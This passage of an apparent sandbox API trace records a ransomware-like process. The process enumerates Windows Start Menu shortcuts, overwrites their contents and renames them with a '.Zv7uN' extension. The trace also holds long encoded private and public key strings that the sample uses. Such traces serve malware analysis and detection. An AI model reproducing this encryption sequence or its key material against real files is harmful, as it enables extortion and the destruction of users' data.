lpFatTime=0x18f220) returned 1 [0132.294] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ShapeCollector.lnk", cAlternateFileName="SHAPEC~1.LNK")) returned 1 [0132.294] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.294] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.294] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c)) returned 1 [0132.295] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk")) returned 0x20 [0132.295] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk", dwFileAttributes=0x80) returned 1 [0132.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.298] GetCurrentThreadId () returned 0xa30 [0132.298] GetCurrentThreadId () returned 0xa30 [0132.298] GetCurrentThreadId () returned 0xa30 [0132.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.299] GetCurrentThreadId () returned 0xa30 [0132.299] GetCurrentThreadId () returned 0xa30 [0132.299] GetCurrentThreadId () returned 0xa30 [0132.299] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.299] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.300] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.300] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x59c [0132.300] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.300] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x59c, lpOverlapped=0x0) returned 1 [0132.303] CloseHandle (hObject=0x1dc) returned 1 [0132.304] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.306] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x59c, lpOverlapped=0x0) returned 1 [0132.308] CloseHandle (hObject=0x1dc) returned 1 [0132.308] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk.zv7un")) returned 1 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] GetCurrentThreadId () returned 0xa30 [0132.310] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0132.310] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.311] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.311] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a)) returned 1 [0132.312] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk")) returned 0x20 [0132.312] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk", dwFileAttributes=0x80) returned 1 [0132.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6L